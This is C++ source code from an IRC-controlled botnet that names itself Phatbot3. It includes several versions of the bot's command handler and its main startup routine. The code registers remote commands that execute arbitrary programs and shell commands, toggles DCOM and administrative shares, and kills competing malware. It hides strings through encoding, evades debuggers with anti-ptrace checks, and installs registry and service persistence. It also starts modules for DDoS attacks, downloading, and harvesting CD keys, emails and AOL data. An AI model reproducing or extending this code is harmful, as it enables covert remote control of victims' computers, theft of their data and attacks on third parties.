void CBot::Init() { init_random(); CString sTemp; sTemp.Format("%d", brandom(500, 22226)); CString sTempFTP; sTempFTP.Format("%d", brandom(500, 22226)); REGCVAR(bot_ftrans_port, sTemp.CStr(), "Bot - File Transfer Port", false, false, 0 ); REGCVAR(bot_ftrans_port_ftp, sTempFTP.CStr(), "Bot - File Transfer Port for FTP", false, false, 0 ); REGCVAR(si_chanpass, "", "Server Info - Channel Password", false, false, 0 ); REGCVAR(si_mainchan, "", "Server Info - Main Channel", false, false, 0 ); REGCVAR(si_nickprefix, "", "Server Info - Nickname prefix", false, false, 0 ); REGCVAR(si_port, "", "Server Info - Server Port", false, false, 0 ); REGCVAR(si_server, "", "Server Info - Server Address", false, false, 0 ); REGCVAR(si_servpass, "", "Server Info - Server Password", false, false, 0 ); REGCVAR(si_usessl, "", "Server Info - Use SSL ?", false, false, 0 ); Config(); REGCMD(m_cmdAbout, "bot.about", "...", false, this); REGCMD(m_cmdDie, "bot.die", "terminates the bot", false, this); REGCMD(m_cmdDns, "bot.dns", "resolves ip/hostname by dns", false, this); REGCMD(m_cmdExecute, "bot.execute", "makes the bot execute a .exe", false, this); REGCMD(m_cmdId, "bot.id", "displays the id of the current code", false, this); REGCMD(m_cmdNick, "bot.nick", "changes the nickname of the bot", false, this); REGCMD(m_cmdOpen, "bot.open", "opens a file (whatever)", false, this); REGCMD(m_cmdRemove, "bot.remove", "removes the bot", false, this); REGCMD(m_cmdRemoveAllBut, "bot.removeallbut", "removes the bot if id does not match", false, this); REGCMD(m_cmdRndNick, "bot.rndnick", "makes the bot generate a new random nick", false, this); REGCMD(m_cmdStatus, "bot.status", "gives status", false, this); REGCMD(m_cmdSysInfo, "bot.sysinfo", "displays the system info", false, this); REGCMD(m_cmdLongUptime, "bot.longuptime", "If uptime > 7 days then bot will respond", false, this); REGCMD(m_cmdQuit, "bot.quit", "quits the bot", false, this); REGCMD(m_cmdFlushDNS, "bot.flushdns", "flushes the bots dns cache", false, this); REGCMD(m_cmdSecure, "bot.secure", "delete shares / disable dcom", false, this); REGCMD(m_cmdUnSecure, "bot.unsecure", "enable shares / enable dcom", false, this); REGCMD(m_cmdCommand, "bot.command", "runs a command with system()", false, this); CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); m_lStartTime=(unsigned long)GetTickCount()/1000; }
void CBot::Init() { g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdId, dp(2,79,9,4,0).CStr(), this); // BOT ID g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdRndNick, dp(2,79,18,14,4,14,9,3,11,0).CStr(), this); // RANDOM NICK g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdAbout, dp(2,79,1,2,15,21,20,0).CStr(), this); // ABOUT g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdSecure, dp(2,79,19,5,3,21,18,5,0).CStr(), this); // SECURE g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdSysInfo, dp(2,79,19,25,19,9,14,6,15,0).CStr(), this); // SYSINFO g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdRemove, dp(2,79,18,5,13,15,22,5,0).CStr(), this); // REMOVE g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdFlushDNS, dp(2,79,6,12,21,19,8,4,14,19,0).CStr(), this); // FLUSHDNS g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdOpen, dp(2,79,15,16,5,14,0).CStr(), this); // OPEN g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdQuit, dp(2,79,17,21,9,20,0).CStr(), this); // QUIT g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdCommand, dp(2,79,3,13,4,0).CStr(), this); // COMMAND g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecute, dp(2,79,5,24,5,0).CStr(), this); // EXECUTE g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDns, dp(2,79,4,14,19,0).CStr(), this); // DNS g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLongUptime, dp(2,79,12,21,16,20,9,13,5,0).CStr(), this); // LONG UPTIME g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdNick, dp(2,79,14,9,3,11,0).CStr(), this); // NICK CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_cMainCtrl.m_cIRC.SendRawFormat("%s %s\r\n", dp(40,35,29,37,0).CStr(), sRndNick.CStr()); g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); m_lStartTime=(unsigned long)GetTickCount()/1000; }
bool CBot::HandleCommand(CMessage *pMsg) { // ID if(!pMsg->sCmd.Compare(m_cmdId.sName.CStr())) { return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); } // Execute else if(!pMsg->sCmd.Compare(m_cmdExecute.sName.CStr())) { CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1; #ifdef WIN32 CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo); if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE; if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "exec.error", pMsg->sReplyTo.Str()); return false; } #endif return true; } // Remove Bot else if(!pMsg->sCmd.Compare(m_cmdRemove.sName.Str())) { CString sNick(pMsg->sChatString.Token(1, " ", true)); if (!sNick.Compare(g_cMainCtrl.m_sUserName.CStr())) { if(g_cMainCtrl.m_cBot.as_enabled.bValue) g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue); if(g_cMainCtrl.m_cBot.as_service.bValue) g_cMainCtrl.m_cInstaller.ServiceDel(g_cMainCtrl.m_cBot.as_service_name.sValue); g_cMainCtrl.m_cInstaller.Uninstall(); g_cMainCtrl.m_cIRC.m_bRunning=false; g_cMainCtrl.m_bRunning=false; } } // About else if(!pMsg->sCmd.Compare(m_cmdAbout.sName.CStr())) { return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, g_cMainCtrl.m_sNameVerStr.Str(), pMsg->sReplyTo.Str()); } // Flush DNS else if(!pMsg->sCmd.Compare(m_cmdFlushDNS.sName.CStr())) { #ifdef WIN32 // ipconfig.exe /flushdns Execute(dp(9,16,3,15,14,6,9,7,78,5,24,5,0).CStr(), dp(80,6,12,21,19,8,4,14,19,0).CStr()); #endif return true; } // Open File else if(!pMsg->sCmd.Compare(m_cmdOpen.sName.CStr())) { CString sText; sText=pMsg->sChatString.Token(1, " ").CStr(); CString bRet; bRet=(char)ShellExecute( NULL, "open", sText.CStr(), NULL, NULL, SW_SHOWNORMAL ); // bRet=system(sText.CStr())>0; // if(bRet) return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str()); //else return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bRet.Str(), pMsg->sReplyTo.Str()); } // Quit else if(!pMsg->sCmd.Compare(m_cmdQuit.sName.CStr())) { g_cMainCtrl.m_cIRC.m_bRunning=false; return true; } // DNS else if(!pMsg->sCmd.Compare(m_cmdDns.sName.CStr())) { CString sReply; hostent *pHostent=NULL; in_addr iaddr; if(!pMsg->sChatString.Token(1, " ").Compare("")) return false; unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr()); if(addr!=INADDR_NONE) { pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET); if(pHostent) { sReply.Format("%s resolved %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } else { pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr()); if(pHostent) { iaddr=*((in_addr*)*pHostent->h_addr_list); sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr)); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } if(!pHostent) { sReply.Format("resolve.error %s.", pMsg->sChatString.Token(1, " ").CStr()); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } // Random Nickname else if(!pMsg->sCmd.Compare(m_cmdRndNick.sName.CStr())) { CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_cMainCtrl.m_cIRC.SendRawFormat("%s %s\r\n", dp(40,35,29,37,0).CStr(), sRndNick.CStr()); g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); return true; } // Run Command else if(!pMsg->sCmd.Compare(m_cmdCommand.sName.CStr())) { #ifdef WIN32 if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false; CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false; CString sReplyBuf; sReplyBuf.Format("Executed: %s.", sText.CStr()); if(system(sText.CStr())==-1) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "exec.error", pMsg->sReplyTo.Str()); return false; } else { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; } #endif return true; } // System Information else if(!pMsg->sCmd.Compare(m_cmdSysInfo.sName.CStr())) { return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); } // Find Files //else if(!pMsg->sCmd.Compare(m_cmdFindFiles.sName.CStr())) // { /* CString strMask = pMsg->sChatString.Token(1, " "); CString strDir = pMsg->sChatString.Token(2, " "); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, FindFiles(strMask, strDir), pMsg->sReplyTo.Str()); */ //} // Change Nickname else if(!pMsg->sCmd.Compare(m_cmdNick.sName.CStr())) { g_cMainCtrl.m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr()); g_cMainCtrl.m_cIRC.SendRawFormat("%s %s\r\n", dp(40,35,29,37,0).CStr(), g_cMainCtrl.m_sUserName.CStr()); return true; } // Uptime check (default: 7d) else if(!pMsg->sCmd.Compare(m_cmdLongUptime.sName.CStr())) { int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7; CString sUptime=LongUptime(iDays); if(sUptime.Compare("")) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ sUptime.Str(), pMsg->sReplyTo.Str()); } return true; } // Secure Bot else if(!pMsg->sCmd.Compare(m_cmdSecure.sName.CStr())) { #ifdef WIN32 CString regLoc; regLoc = dp(45,15,6,20,23,1,18,5,80,39,9,3,18,15,19,15,6,20,80,49,9,14,4,15,23,19,80,29,21,18,18,5,14,20,48,5,18,19,9,15,14,80,44,21,14,0).CStr(); HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, dp(31,14,1,2,12,5,30,29,41,39,0).CStr(), NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(45,19,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(9,18,21,14,72,78,5,24,5,0).CStr()); CString tmpBagle; GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(9,18,21,14,72,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(18,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(9,69,69,18,73,72,14,72,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(),dp(9,69,69,18,73,72,14,72,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(19,19,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(23,9,14,19,25,19,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(23,9,14,19,25,19,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(4,71,4,21,16,4,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(2,2,5,1,7,12,5,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(2,2,5,1,7,12,5,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(46,1,19,11,39,15,14,0).CStr()); RegCloseKey(hkey); KillProcess(dp(20,1,19,11,13,15,14,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(20,1,19,11,13,15,14,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(31,24,16,12,15,18,5,18,0).CStr()); RegCloseKey(hkey); system("net share c$ /delete /y"); system("net share d$ /delete /y"); system("net share ipc$ /delete /y"); system("net share admin$ /delete /y"); #endif return true; } return false; }
bool CBot::HandleCommand(CMessage *pMsg) { if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) { CString sId(pMsg->sChatString.Token(1, " ", true)); if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false; g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo); #ifdef WIN32 /// should unsecure system as remove bot to allow recycling // // Set EnableDCOM to "Y" HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); // UnSecure Shares Execute("net.exe", "net share c$=c:\\"); Execute("net.exe", "net share d$=d:\\"); Execute("net.exe", "net share e$=e:\\"); Execute("net.exe", "net share ipc$"); Execute("net.exe", "net share admin$"); // Delete Autostart if(g_pMainCtrl->m_cBot.as_enabled.bValue) g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue); if(g_pMainCtrl->m_cBot.as_service.bValue) g_pMainCtrl->m_cInstaller.ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue); #endif g_pMainCtrl->m_cInstaller.Uninstall(); g_pMainCtrl->m_cIRC.m_bRunning=false; g_pMainCtrl->m_bRunning=false; } else if(!pMsg->sCmd.Compare("bot.execute")) { CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1; #ifdef WIN32 CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo); if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE; if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; } #else CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr()); if(system(sCmdBuf.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; } #endif return true; } else if(!pMsg->sCmd.Compare("bot.open")) { if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false; CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false; #ifdef WIN32 bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32; #else bRet=system(sText.CStr())>0; #endif if(bRet) return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str()); else return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.dns")) { CString sReply; hostent *pHostent=NULL; in_addr iaddr; if(!pMsg->sChatString.Token(1, " ").Compare("")) return false; unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr()); if(addr!=INADDR_NONE) { pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET); if(pHostent) { sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } else { pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr()); if(pHostent) { iaddr=*((in_addr*)*pHostent->h_addr_list); sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr)); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } if(!pHostent) { sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr()); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } else if(!pMsg->sCmd.Compare("bot.about")) { CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr()); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.id")) { return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.nick")) { g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr()); g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr()); return true; } else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) { g_pMainCtrl->m_cIRC.m_bRunning=false; return true; } else if(!pMsg->sCmd.Compare("bot.sysinfo")) { return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.longuptime")) { int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7; CString sUptime=LongUptime(iDays); if(sUptime.Compare("")) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ sUptime.Str(), pMsg->sReplyTo.Str()); } return true; } else if(!pMsg->sCmd.Compare("bot.status")) { return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, Status().Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.rndnick")) { CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr()); g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); return true; } else if(!pMsg->sCmd.Compare("bot.flushdns")) { #ifdef WIN32 Execute("ipconfig.exe", "/flushdns"); #else Execute("nscd", "-i hosts"); #endif // WIN32 return true; } else if(!pMsg->sCmd.Compare("bot.secure")) { #ifdef WIN32 // Set EnableDCOM to "N" HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); // Secure Shares system("net share c$ /delete /y"); system("net share d$ /delete /y"); system("net share ipc$ /delete /y"); system("net share admin$ /delete /y"); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Bot Secured", pMsg->sReplyTo.Str()); #endif return true; } else if(!pMsg->sCmd.Compare("bot.unsecure")) { #ifdef WIN32 // Set EnableDCOM to "Y" HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); // UnSecure Shares system("net share c$=c:\\"); system("net share d$=d:\\"); system("net share e$=e:\\"); system("net share ipc$"); system("net share admin$"); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Bot UnSecured", pMsg->sReplyTo.Str()); #endif return true; } else if(!pMsg->sCmd.Compare("bot.command")) { #ifdef WIN32 if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false; CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false; CString sReplyBuf; sReplyBuf.Format("command (%s) executed.", sText.CStr()); if(system(sText.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute command.", pMsg->sReplyTo.Str()); return false; } else { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; } #endif return true; } return false; }
int CMainCtrl::Main(const char *szCmdLine, const char *szArgv0) { m_bRunning=true; if(szArgv0) m_sArgv0.Assign(szArgv0); else m_sArgv0.Assign(""); if(szCmdLine) m_sCmdLine.Assign(szCmdLine); else m_sCmdLine.Assign(""); #ifdef LINUX // make the segmentation violation signal ignored signal(SIGSEGV, SIG_IGN); // Anti-PTrace if(ptrace(PTRACE_TRACEME, 0, 1, 0)<0) { #ifdef DBGCONSOLE m_cConsDbg.Log(1, "PTrace detected, exiting...\n"); #endif // DBGCONSOLE return 0; } #endif // LINUX // Parse command line m_cCmdLine.Parse(szCmdLine); // Activate debugging console if(m_cCmdLine.m_cConfig.bDebug) m_cConsDbg.Init(m_cCmdLine.m_cConfig.iDebugLevel); // Activate sockets g_bSocketsRunning=true; #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Command line: \"%s\"...\n", szCmdLine); #endif // DBGCONSOLE m_sNameVerStr.Format("Phatbot3 (%s) \"%s\" on \"%s\"", VERSION_PHATBOT, SYS_BUILD, SYS_PLATFORM); #ifdef DBGCONSOLE m_cConsDbg.Log(1, "%s starting up...\n", m_sNameVerStr.CStr()); m_cConsDbg.Log(2, "Debugging with debuglevel of %d...\n", m_cCmdLine.m_cConfig.iDebugLevel); #endif // DBGCONSOLE #ifdef _DEBUG test(); // while(true) Sleep(5000); #endif // _DEBUG #ifdef WIN32 if(m_cCmdLine.m_cConfig.bService || m_cBot.as_service.bValue) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Starting service thread...\n"); #endif // DBGCONSOLE m_cService.Start(false); } #endif // WIN32 // Initialize base subsystems, don't swap m_cCommands.Init(); m_cCVar.Init(); m_cMac.Init(); m_cBot.Init(); if(m_cBot.as_enabled.bValue || m_cBot.as_service.bValue) m_cInstaller.CopyToSysDir(m_cBot.bot_filename.sValue); m_cInstaller.Install(); #ifdef WIN32 if(m_cBot.as_enabled.bValue) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Adding registry autostart...\n"); #endif // DBGCONSOLE m_cInstaller.RegStartAdd(m_cBot.as_valname.sValue, m_cBot.bot_filename.sValue); } // m_cInstaller.ServiceDel(m_cBot.as_service_name.sValue); if(m_cBot.as_service.bValue && !m_cInstaller.IsInstalled(m_cBot.as_service_name.sValue)) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Adding service...\n"); #endif // DBGCONSOLE m_cInstaller.ServiceAdd(m_cBot.as_service_name.sValue, m_cBot.bot_filename.sValue); } if(m_cBot.as_service.bValue && !m_cCmdLine.m_cConfig.bService) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Starting service...\n"); #endif // DBGCONSOLE if(m_cInstaller.ServiceStart(m_cBot.as_service_name.sValue)) { exit(0); } } #endif // WIN32 #ifdef DBGCONSOLE m_cConsDbg.Log(7, "Initializing RNG...\n"); #endif // DBGCONSOLE // Initialize random number generator from system time init_random(); // Receive a random nickname m_sUserName=RndNick(m_cBot.si_nickprefix.sValue.CStr()); // Receive a random service name for NBSCanner m_sTmpSvcName=CompleteRandom().CStr(); // Start the startup thread m_cStartupThread.Start(false); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Initializing subsystems...\n"); #endif // DBGCONSOLE // Initialize subsystems m_cIRC.Init(); m_cDownloader.Init(); m_cDDOS.Init(); m_cRedirect.Init(); m_cRSLControl.Init(); m_cProcessControl.Init(); m_cInstaller.Init(); m_cHarvest_CDKeys.Init(); m_cHarvest_EMails.Init(); m_cHarvest_AOL.Init(); m_cHarvest_Registry.Init(); m_cLogic.Init(); m_cPluginLoader.Init(); if(g_pMainCtrl->m_cBot.bot_cmdshell.bValue) m_cCmdShell.Init(); // Execute the autostart in config.cpp m_cBot.Autostart(); // Set server CVars g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_chanpass, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_chanpass.sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_mainchan, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_mainchan.sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_nickprefix, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_nickprefix.sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_port, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_port.sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_server, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_server.sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_servpass, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_servpass.sValue.CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_usessl, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_usessl.sValue.CStr()); CString sRndNick=RndNick(m_cBot.si_nickprefix.sValue.CStr()); m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Starting threads...\n"); #endif // DBGCONSOLE // Start CIRC as a non-dynamic, auto-restarting and realtime thread m_cIRC.Start(false, true, true); m_cSendFile.Start(false, true); m_cSendFileFTP.Start(false, true); 